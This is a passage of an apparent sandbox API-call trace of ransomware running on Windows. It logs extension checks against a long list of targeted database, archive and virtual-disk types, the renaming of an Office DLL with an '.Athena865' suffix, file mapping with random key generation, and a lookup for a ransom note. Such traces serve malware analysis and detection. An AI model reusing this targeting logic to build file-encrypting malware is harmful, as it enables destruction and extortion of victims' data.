(lpString1="CDLMSO.DLL", lpString2="MSBuild") returned -1 [0068.614] lstrlenW (lpString="CDLMSO.DLL") returned 10 [0068.614] lstrcpyW (in: lpString1=0x241e89e, lpString2="CDLMSO.DLL" | out: lpString1="CDLMSO.DLL") returned="CDLMSO.DLL" [0068.614] lstrlenW (lpString="CDLMSO.DLL") returned 10 [0068.614] lstrlenW (lpString="Athena865") returned 9 [0068.614] lstrcmpiW (lpString1="DLMSO.DLL", lpString2="Athena865") returned 1 [0068.614] lstrlenW (lpString=".dll") returned 4 [0068.614] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".dll") returned 1 [0068.614] lstrlenW (lpString=".lnk") returned 4 [0068.614] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".lnk") returned 1 [0068.614] lstrlenW (lpString=".ini") returned 4 [0068.614] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".ini") returned 1 [0068.614] lstrlenW (lpString=".sys") returned 4 [0068.614] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".sys") returned 1 [0068.614] lstrlenW (lpString="CDLMSO.DLL") returned 10 [0068.614] lstrlenW (lpString="bak") returned 3 [0068.614] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0068.614] lstrlenW (lpString="ba_") returned 3 [0068.614] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0068.614] lstrlenW (lpString="dbb") returned 3 [0068.614] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0068.614] lstrlenW (lpString="vmdk") returned 4 [0068.614] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0068.614] lstrlenW (lpString="rar") returned 3 [0068.614] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0068.614] lstrlenW (lpString="zip") returned 3 [0068.614] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0068.614] lstrlenW (lpString="tgz") returned 3 [0068.614] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0068.615] lstrlenW (lpString="vbox") returned 4 [0068.615] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0068.615] lstrlenW (lpString="vdi") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0068.615] lstrlenW (lpString="vhd") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0068.615] lstrlenW (lpString="vhdx") returned 4 [0068.615] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0068.615] lstrlenW (lpString="avhd") returned 4 [0068.615] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0068.615] lstrlenW (lpString="db") returned 2 [0068.615] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0068.615] lstrlenW (lpString="db2") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0068.615] lstrlenW (lpString="db3") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0068.615] lstrlenW (lpString="dbf") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0068.615] lstrlenW (lpString="mdf") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0068.615] lstrlenW (lpString="mdb") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0068.615] lstrlenW (lpString="sql") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0068.615] lstrlenW (lpString="sqlite") returned 6 [0068.615] lstrcmpiW (lpString1="SO.DLL", lpString2="sqlite") returned -1 [0068.615] lstrlenW (lpString="sqlite3") returned 7 [0068.615] lstrcmpiW (lpString1="MSO.DLL", lpString2="sqlite3") returned -1 [0068.615] lstrlenW (lpString="sqlitedb") returned 8 [0068.615] lstrcmpiW (lpString1="LMSO.DLL", lpString2="sqlitedb") returned -1 [0068.615] lstrlenW (lpString="xml") returned 3 [0068.615] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0068.616] lstrlenW (lpString="$er") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0068.616] lstrlenW (lpString="4dd") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0068.616] lstrlenW (lpString="4dl") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0068.616] lstrlenW (lpString="^^^") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0068.616] lstrlenW (lpString="abs") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0068.616] lstrlenW (lpString="abx") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0068.616] lstrlenW (lpString="accdb") returned 5 [0068.616] lstrcmpiW (lpString1="O.DLL", lpString2="accdb") returned 1 [0068.616] lstrlenW (lpString="accdc") returned 5 [0068.616] lstrcmpiW (lpString1="O.DLL", lpString2="accdc") returned 1 [0068.616] lstrlenW (lpString="accde") returned 5 [0068.616] lstrcmpiW (lpString1="O.DLL", lpString2="accde") returned 1 [0068.616] lstrlenW (lpString="accdr") returned 5 [0068.616] lstrcmpiW (lpString1="O.DLL", lpString2="accdr") returned 1 [0068.616] lstrlenW (lpString="accdt") returned 5 [0068.616] lstrcmpiW (lpString1="O.DLL", lpString2="accdt") returned 1 [0068.616] lstrlenW (lpString="accdw") returned 5 [0068.616] lstrcmpiW (lpString1="O.DLL", lpString2="accdw") returned 1 [0068.616] lstrlenW (lpString="accft") returned 5 [0068.616] lstrcmpiW (lpString1="O.DLL", lpString2="accft") returned 1 [0068.616] lstrlenW (lpString="adb") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.616] lstrlenW (lpString="adb") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.616] lstrlenW (lpString="ade") returned 3 [0068.616] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0068.616] lstrlenW (lpString="adf") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0068.617] lstrlenW (lpString="adn") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0068.617] lstrlenW (lpString="adp") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0068.617] lstrlenW (lpString="alf") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0068.617] lstrlenW (lpString="ask") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0068.617] lstrlenW (lpString="btr") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0068.617] lstrlenW (lpString="cat") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0068.617] lstrlenW (lpString="cdb") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0068.617] lstrlenW (lpString="ckp") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0068.617] lstrlenW (lpString="cma") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0068.617] lstrlenW (lpString="cpd") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0068.617] lstrlenW (lpString="dacpac") returned 6 [0068.617] lstrcmpiW (lpString1="SO.DLL", lpString2="dacpac") returned 1 [0068.617] lstrlenW (lpString="dad") returned 3 [0068.617] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0068.617] lstrlenW (lpString="dadiagrams") returned 10 [0068.617] lstrlenW (lpString="daschema") returned 8 [0068.617] lstrcmpiW (lpString1="LMSO.DLL", lpString2="daschema") returned 1 [0068.617] lstrlenW (lpString="db-journal") returned 10 [0068.617] lstrlenW (lpString="db-shm") returned 6 [0068.617] lstrcmpiW (lpString1="SO.DLL", lpString2="db-shm") returned 1 [0068.617] lstrlenW (lpString="db-wal") returned 6 [0068.617] lstrcmpiW (lpString1="SO.DLL", lpString2="db-wal") returned 1 [0068.617] lstrlenW (lpString="dbc") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0068.618] lstrlenW (lpString="dbs") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0068.618] lstrlenW (lpString="dbt") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0068.618] lstrlenW (lpString="dbv") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0068.618] lstrlenW (lpString="dbx") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0068.618] lstrlenW (lpString="dcb") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0068.618] lstrlenW (lpString="dct") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0068.618] lstrlenW (lpString="dcx") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0068.618] lstrlenW (lpString="ddl") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0068.618] lstrlenW (lpString="dlis") returned 4 [0068.618] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0068.618] lstrlenW (lpString="dp1") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0068.618] lstrlenW (lpString="dqy") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0068.618] lstrlenW (lpString="dsk") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0068.618] lstrlenW (lpString="dsn") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0068.618] lstrlenW (lpString="dtsx") returned 4 [0068.618] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0068.618] lstrlenW (lpString="dxl") returned 3 [0068.618] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0068.618] lstrlenW (lpString="eco") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0068.619] lstrlenW (lpString="ecx") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0068.619] lstrlenW (lpString="edb") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0068.619] lstrlenW (lpString="epim") returned 4 [0068.619] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0068.619] lstrlenW (lpString="fcd") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0068.619] lstrlenW (lpString="fdb") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0068.619] lstrlenW (lpString="fic") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0068.619] lstrlenW (lpString="flexolibrary") returned 12 [0068.619] lstrlenW (lpString="fm5") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0068.619] lstrlenW (lpString="fmp") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0068.619] lstrlenW (lpString="fmp12") returned 5 [0068.619] lstrcmpiW (lpString1="O.DLL", lpString2="fmp12") returned 1 [0068.619] lstrlenW (lpString="fmpsl") returned 5 [0068.619] lstrcmpiW (lpString1="O.DLL", lpString2="fmpsl") returned 1 [0068.619] lstrlenW (lpString="fol") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0068.619] lstrlenW (lpString="fp3") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0068.619] lstrlenW (lpString="fp4") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0068.619] lstrlenW (lpString="fp5") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0068.619] lstrlenW (lpString="fp7") returned 3 [0068.619] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0068.619] lstrlenW (lpString="fpt") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0068.620] lstrlenW (lpString="frm") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0068.620] lstrlenW (lpString="gdb") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0068.620] lstrlenW (lpString="gdb") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0068.620] lstrlenW (lpString="grdb") returned 4 [0068.620] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0068.620] lstrlenW (lpString="gwi") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0068.620] lstrlenW (lpString="hdb") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0068.620] lstrlenW (lpString="his") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0068.620] lstrlenW (lpString="ib") returned 2 [0068.620] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0068.620] lstrlenW (lpString="idb") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0068.620] lstrlenW (lpString="ihx") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0068.620] lstrlenW (lpString="itdb") returned 4 [0068.620] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0068.620] lstrlenW (lpString="itw") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0068.620] lstrlenW (lpString="jet") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0068.620] lstrlenW (lpString="jtx") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0068.620] lstrlenW (lpString="kdb") returned 3 [0068.620] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0068.620] lstrlenW (lpString="kexi") returned 4 [0068.621] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0068.621] lstrlenW (lpString="kexic") returned 5 [0068.621] lstrcmpiW (lpString1="O.DLL", lpString2="kexic") returned 1 [0068.621] lstrlenW (lpString="kexis") returned 5 [0068.621] lstrcmpiW (lpString1="O.DLL", lpString2="kexis") returned 1 [0068.621] lstrlenW (lpString="lgc") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0068.621] lstrlenW (lpString="lwx") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0068.621] lstrlenW (lpString="maf") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0068.621] lstrlenW (lpString="maq") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0068.621] lstrlenW (lpString="mar") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0068.621] lstrlenW (lpString="marshal") returned 7 [0068.621] lstrcmpiW (lpString1="MSO.DLL", lpString2="marshal") returned 1 [0068.621] lstrlenW (lpString="mas") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0068.621] lstrlenW (lpString="mav") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0068.621] lstrlenW (lpString="maw") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0068.621] lstrlenW (lpString="mdbhtml") returned 7 [0068.621] lstrcmpiW (lpString1="MSO.DLL", lpString2="mdbhtml") returned 1 [0068.621] lstrlenW (lpString="mdn") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0068.621] lstrlenW (lpString="mdt") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0068.621] lstrlenW (lpString="mfd") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0068.621] lstrlenW (lpString="mpd") returned 3 [0068.621] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0068.622] lstrlenW (lpString="mrg") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0068.622] lstrlenW (lpString="mud") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0068.622] lstrlenW (lpString="mwb") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0068.622] lstrlenW (lpString="myd") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0068.622] lstrlenW (lpString="ndf") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0068.622] lstrlenW (lpString="nnt") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0068.622] lstrlenW (lpString="nrmlib") returned 6 [0068.622] lstrcmpiW (lpString1="SO.DLL", lpString2="nrmlib") returned 1 [0068.622] lstrlenW (lpString="ns2") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0068.622] lstrlenW (lpString="ns3") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0068.622] lstrlenW (lpString="ns4") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0068.622] lstrlenW (lpString="nsf") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0068.622] lstrlenW (lpString="nv") returned 2 [0068.622] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0068.622] lstrlenW (lpString="nv2") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0068.622] lstrlenW (lpString="nwdb") returned 4 [0068.622] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0068.622] lstrlenW (lpString="nyf") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0068.622] lstrlenW (lpString="odb") returned 3 [0068.622] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0068.622] lstrlenW (lpString="odb") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0068.623] lstrlenW (lpString="oqy") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0068.623] lstrlenW (lpString="ora") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0068.623] lstrlenW (lpString="orx") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0068.623] lstrlenW (lpString="owc") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0068.623] lstrlenW (lpString="p96") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0068.623] lstrlenW (lpString="p97") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0068.623] lstrlenW (lpString="pan") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0068.623] lstrlenW (lpString="pdb") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0068.623] lstrlenW (lpString="pdm") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0068.623] lstrlenW (lpString="pnz") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0068.623] lstrlenW (lpString="qry") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0068.623] lstrlenW (lpString="qvd") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0068.623] lstrlenW (lpString="rbf") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0068.623] lstrlenW (lpString="rctd") returned 4 [0068.623] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0068.623] lstrlenW (lpString="rod") returned 3 [0068.623] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0068.623] lstrlenW (lpString="rodx") returned 4 [0068.623] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0068.624] lstrlenW (lpString="rpd") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0068.624] lstrlenW (lpString="rsd") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0068.624] lstrlenW (lpString="sas7bdat") returned 8 [0068.624] lstrcmpiW (lpString1="LMSO.DLL", lpString2="sas7bdat") returned -1 [0068.624] lstrlenW (lpString="sbf") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0068.624] lstrlenW (lpString="scx") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0068.624] lstrlenW (lpString="sdb") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0068.624] lstrlenW (lpString="sdc") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0068.624] lstrlenW (lpString="sdf") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0068.624] lstrlenW (lpString="sis") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0068.624] lstrlenW (lpString="spq") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0068.624] lstrlenW (lpString="te") returned 2 [0068.624] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0068.624] lstrlenW (lpString="teacher") returned 7 [0068.624] lstrcmpiW (lpString1="MSO.DLL", lpString2="teacher") returned -1 [0068.624] lstrlenW (lpString="tmd") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0068.624] lstrlenW (lpString="tps") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0068.624] lstrlenW (lpString="trc") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0068.624] lstrlenW (lpString="trc") returned 3 [0068.624] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0068.625] lstrlenW (lpString="trm") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0068.625] lstrlenW (lpString="udb") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0068.625] lstrlenW (lpString="udl") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0068.625] lstrlenW (lpString="usr") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0068.625] lstrlenW (lpString="v12") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0068.625] lstrlenW (lpString="vis") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0068.625] lstrlenW (lpString="vpd") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0068.625] lstrlenW (lpString="vvv") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0068.625] lstrlenW (lpString="wdb") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0068.625] lstrlenW (lpString="wmdb") returned 4 [0068.625] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0068.625] lstrlenW (lpString="wrk") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0068.625] lstrlenW (lpString="xdb") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0068.625] lstrlenW (lpString="xld") returned 3 [0068.625] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0068.625] lstrlenW (lpString="xmlff") returned 5 [0068.625] lstrcmpiW (lpString1="O.DLL", lpString2="xmlff") returned -1 [0068.625] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL.Athena865") returned 63 [0068.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll.athena865"), dwFlags=0x1) returned 1 [0068.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.627] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=531800) returned 1 [0068.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.628] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.628] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.629] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.629] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x82060, lpName=0x0) returned 0x154 [0068.630] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x82060) returned 0x2d50000 [0068.654] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.655] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.655] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.656] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0068.660] CloseHandle (hObject=0x154) returned 1 [0068.660] CloseHandle (hObject=0x17c) returned 1 [0068.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.663] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", 